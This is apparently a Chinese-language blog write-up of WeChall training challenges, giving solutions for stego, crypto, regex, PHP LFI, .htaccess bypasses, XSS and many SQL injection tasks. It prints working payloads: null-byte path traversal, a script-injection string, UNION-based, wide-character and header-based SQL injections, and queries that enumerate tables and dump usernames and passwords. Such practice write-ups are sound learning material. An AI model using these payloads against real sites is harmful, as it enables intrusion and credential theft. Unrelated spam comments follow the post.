6
10
2019
2

WeChall 综合练习

刚刚结束的TCTF上,由于Web题的惨剧导致我们学校和其他几个战队组建的联合战队被ROIS爆了。。。

虽然我只是一个旁观者,我们Pwn上的优势没有挽救我们Web上面的颓势

立个flag:我来

前面的Pikachu基本做完了(除了SQL等部分),这些部分由WeChall上面的练习来弥补。

前一阵子搞MISC比较多,但是现在碰到一些奇怪的隐写or乱搞一样不会

最近翻blog发现了r3kapig里面flappypig战队的大佬,决定跟着这个轨迹来搞一遍Web相关(可能不仅仅是Web?)

Let's start!(题目不一定按顺序排列,可以用Ctrl+F搜索)

------------------------------------

Training:Get Sourced

看源代码得到答案

------------------------------------

Training:Stegano I

改成txt文件看下

------------------------------------

Training:Crypto - Caesar I
里面有凯撒解密,还能用英文字典直接分析,比较方便
或者用http://quipqiup.com,传统置换密码基本都可以解密。

------------------------------------

Training:WWW-Robots
访问主站的robots.txt得到答案

------------------------------------

Training:ASCII

写个Python脚本

a = "84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 112, 103, 109, 111, 112, 114, 97, 115, 110, 102, 102, 98";
for i in a.split(', '):
    print("{0}".format(chr(int(i))),end='')

------------------------------------

Encodings - URL Encode
用现成的Hackbar工具直接解密URL字符串

------------------------------------

Prime Factory
编程直接解决
Python C++均可 为了练习Python我用Python编写的
import math
a = 1000000
count = 0
while True:
    flag = 1
    for i in range(2,int(math.sqrt(a))+1):
        if (a%i == 0):
            flag = 0
            break
    Sum = 0
    if(flag == 1):
        b = str(a)
        for i in b:
            Sum += int(i)
        for i in range(2,int(math.sqrt(Sum))+1):
            if (Sum%i == 0):
                flag = 0
                break
    if(flag == 1):
        count = count + 1
        print("{0}".format(a),end = '')
    a = a + 1
    if(count == 2):
        break

------------------------------------

Training:Encodings I
给了个JPK
这个工具很好用!
注意此时是七位一分格,ASCII码
很奇妙

------------------------------------

Training:Programming I
这个需要编程,不然反应没法这么快
那就编一下,顺便学一下urllib
代码中的WC是Cookie,注意根据每个人的不同而不同,可以在Firefox上用Cookie Editor知道
其实没必要用最后的打印,毕竟只要打开就行了
import urllib.request
from io import BytesIO
import gzip
headers = {
    'Host':'www.wechall.net',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Referer':'http://www.wechall.net/challenge/training/programming1/index.php',
    'Cookie':'WC=123',
    'DNT':'1',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}
url1 = r'http://www.wechall.net/challenge/training/programming1/index.php?action=request'
url2 = r'http://www.wechall.net/challenge/training/programming1/index.php?answer='
req = urllib.request.Request(url=url1,headers=headers,method='POST')
data = urllib.request.urlopen(req)
str1 = data.read().decode('utf-8')
str2 = url2+str1
print(str2)
req1 = urllib.request.Request(url=str2,headers=headers,method='POST')
data = urllib.request.urlopen(req1)
buff = BytesIO(data.read())
f = gzip.GzipFile(fileobj=buff)
print(f.read().decode('utf-8'))

------------------------------------

Training:Regex
好吧,要学正则表达式……
我最痛恨的东西之一
那就学吧
level1: 答案是/^$/,我因为没加两个斜杠思考了半天
level2: /^wechall$/
level3: 绞尽脑汁编了一个/^wechall[4]?\.(?:jpg|gif|tiff|bmp|png)$/
然后他说最短的就39个字符。。。于是又要思考了,我这个41个字符
于是我把4的左右括号删了,就成功了
payload = /^wechall4?\.(?:jpg|gif|tiff|bmp|png)$/
level4: 思考了很久,编了一个 /^(?:\w+)(?=\.\w+$)/
于是不行。
想了下,可能会出现www.123.jpg这种情况,于是再改一下
/^(?:[\.\w]+)(?=\.\w+$)/
还是不行,十分头疼,到底是啥没匹配上?
那就上网搜一下,于是就没搜到
又弄了一个更加激进的/^(?:[\w\W]*)(?=\.[\w\W]+$)/
然而还不行
弃疗了,希望有大佬告诉我这个题怎么解

------------------------------------

Training:PHP LFI
好久没碰Web题目了,%00截断都忘了……
于是答案是?file=../../solution.php%00
------------------------------------
PHP 0817
结尾加上?which=solution就可以了
那么,为什么可以呢?我查了一下,发现是这个原因:
PHP中switch的逻辑是根据传入switch()的参数,和下面的case参数用==(重点!)比较,相同就执行,不同就下一个
这个执行的逻辑和C语言是一样的,也是不碰到break就一直执行。
那么,在这个题目上,我们用了?which=solution,而在PHP中(int)$string是等于0的,那么这个switch就进入了case 0的循环中,然而没有break,于是会一直执行到正常的文件包含的地方,然后就没了。
------------------------------------
Training:WWW-Basic
需要一个服务器
我自己写了个自动发包登录然后POST的python脚本,然后利用服务器发
结果……Wechall似乎有个识别是否脚本登录的功能,怎么也成功不了
于是先放下,等到我弄个远程桌面再说
弄好了
------------------------------------
Limited Access
注意给了.htaccess
发现只limit了GET
于是我们用burpsuite改成POST发包就结束
------------------------------------
Limited Access Too
发现limit了一堆东西
那么我们继续改包,随便打几个字符替换掉GET就行
------------------------------------
HOST me
改包,把Host改成localhost
注意此时发包的对象(HOST)就不对了,这时候把上面GET后面的网址补全即可
------------------------------------
Training:Tracks
先投一次
然后改包,把VOTE和下面的If-None-Match里面改个新的一样的值然后发包就行
------------------------------------
htmlspecialchars
经典的情况……知道PHP中htmlspecialchars不会自动转换单引号,这个题就成功了
解决方案是在htmlspecialchars的函数中添加第二个参数ENT_QUOTES,表示对两种引号均进行编码
------------------------------------
Yourself PHP
XSS点不在username,在源代码下面的$_SERVER['PHP_SELF']
这个东西是你的网页地址,所以我们进行奇怪的构造
/"></form><script>alert(1);</script>
加在源网页后面就过了(下面没有进行htmlspecialchars的判断)
------------------------------------
Training:Registered Globals
https://www.php.net/manual/zh/security.globals.php
也就是说,我们能用GET改参数。
于是我们加上?login[0]=admin就过了。
------------------------------------
Training:MySQL I
先学习SQL语句的格式,然后就会了
考虑mysql的注释
于是在username字段填写admin'#
就过了
------------------------------------
Training:MySQL II
联合查询语句和SELECT的使用
https://www.runoob.com/sql/sql-select.html
https://www.runoob.com/sql/sql-union.html
同时,我们还知道SELECT可以选择常量。
于是这题就可以做了
注意看源代码知道了数据的储存格式,于是构造
在username字段填写' UNION SELECT 0,'admin',md5('') FROM users WHERE ''='
也可以' UNION SELECT 0,'admin',md5('') ORDER BY '3
第二个短一点
密码为空,直接提交过关
注:在几天后,我有了新想法' UNION SELECT 0,'admin',md5('')#
更短
------------------------------------
No Escape
先投一票,观察一下
然后构造payload为?vote_for=bill`=111--+在网址后面
至于为什么不能用#来注释,我也不知道……
------------------------------------
Addslashes
看到源文件中有GBK就立刻想到宽字符注入。
既然用GET查询,那么构造?username=%df%27+UNION+SELECT+CHAR(65,100,109,105,110)--+&password=&login=%E6%B3%A8%E5%86%8C
没了
------------------------------------
The Guestbook
注意源文件的gbook_getIP()
这里没有对ip进行过滤
那么我们加上X-Forwarded-For就好了
于是抓包,加X-Forwarded-For:127.0.0.1',(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'));#
然后看留言板,没了
------------------------------------
MD5.SALT
输点东西,发现会出一个Hello xxxx
那我们来进行注入,构造Admin' AND 1=2 UNION SELECT password,password FROM users WHERE username='Admin'#
然后就是Hello xxxxx(这个是密码)
然后四处找网站,cmd5和xmd5要收我钱,pmd5解不出,于是找到了somd5
解出答案是academicsalt21
登录,不行,但是题目名提示了我们:MD5.SALT
于是把salt21删掉,就过了
------------------------------------
Table Names
MySQL盲注
先找到库的名字' AND 1=2 UNION SELECT 1,2,DATABASE()#
根据库的名字找表名' AND 1=2 UNION SELECT DATABASE(),2,GROUP_CONCAT(table_name) FROM information_schema.columns WHERE table_schema='gizmore_tableu61'#
然后有好几个表(aaawrong,),哪个是正确的呢?
于是我们测试一下,注意给了帐号test
输入为空和输入' AND 1=2 UNION SELECT * FROM gizmore_tableu61.usertableus4#一样,得知答案为gizmore_tableu61_usertableus4
其实,有时候我们还需要知道字段,也顺便写下吧' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='usertableus4'#
爆用户名' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(username) FROM gizmore_tableu61.usertableus4#
爆密码' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(password) FROM gizmore_tableu61.usertableus4#
本题结束
------------------------------------
Table Names II
这个题建议看大佬的题解,在此之前我不知道有processlist这个东西
输入为' AND 1=2 UNION SELECT info,2,3 FROM information_schema.processlist#
以下为举一反三:
注意这个方法也可以用在Table Names这题上, 但是只有表的名字,所以数据库是默认数据库——在上一题可以用DATABASE()获得
但是如果上一题不允许用DATABASE()呢?于是我们本机先USE mysql;再测一下SHOW processlist;
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
| Id | User            | Host            | db    | Command | Time  | State                  | Info             |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
|  4 | event_scheduler | localhost       | NULL  | Daemon  | 20408 | Waiting on empty queue | NULL             |
|  9 | root            | localhost:13940 | mysql | Query   |     0 | starting               | show processlist |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
有一行是db——得到了当前的数据库
于是上一题有了一种不需要DATABASE()的做法' AND 1=2 UNION SELECT info,2,GROUP_CONCAT(db) FROM information_schema.processlist#
------------------------------------
Light in the Darkness
注入方式floor注入
' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(password,FLOOR(RAND(0)*2)))#
注意把报错的最后一个1删掉,这个1是CONCAT加上去的
------------------------------------
Training:LSB
图片搞下来
然后用StegSolve打开一个个图层看,就有答案
------------------------------------
PHP 0815
弱类型转换问题
字符串和in_array比较没有启用严格比较是不比较数据类型的
所以我们加上强制转换就行了
也就是-0
与整数相减后得到的是整数
------------------------------------

Just for fun.

Category: CTF | Tags: CTF | Read Count: 447
how to delete spotif 说:
Aug 08, 2022 07:26:03 PM

Love listening to music but using Spotify is not your cup of tea anymore then you are precisely correct about deleting your account, and even precise to land on this article, because 99networks will show you how to delete your Spotify account permanently as well. how to delete spotify account We all know that sometimes some of our preferences and choices in life become an addiction. Sometimes they come with a big price. One such example here is the Spotify which might put you through a continuous music streaming world. Also you have to pay for the account which becomes one big hassle.

Tripura Board Model 说:
Aug 19, 2022 03:15:01 PM

Tripura Board Model Paper 2023 Class 4 Pdf Download with Answers for Bengali Medium, English Medium, Hindi Medium, Urdu Medium & Students for Small Answers, Long Answer, Very Long Answer Questions, and Essay Type Questions to Term1 & Term2 Exams at official website. Tripura Board Model Paper Class 4 New Exam Scheme or Question Pattern for Sammittive Assignment Exams (SA1 & SA2): Very Long Answer (VLA), Long Answer (LA), Small Answer (SA), Very Small Answer (VSA), Single Answer, Multiple Choice and etc.


登录 *


loading captcha image...
(输入验证码)
or Ctrl+Enter

Host by is-Programmer.com | Power by Chito 1.3.3 beta | Theme: Aeros 2.0 by TheBuckmaker.com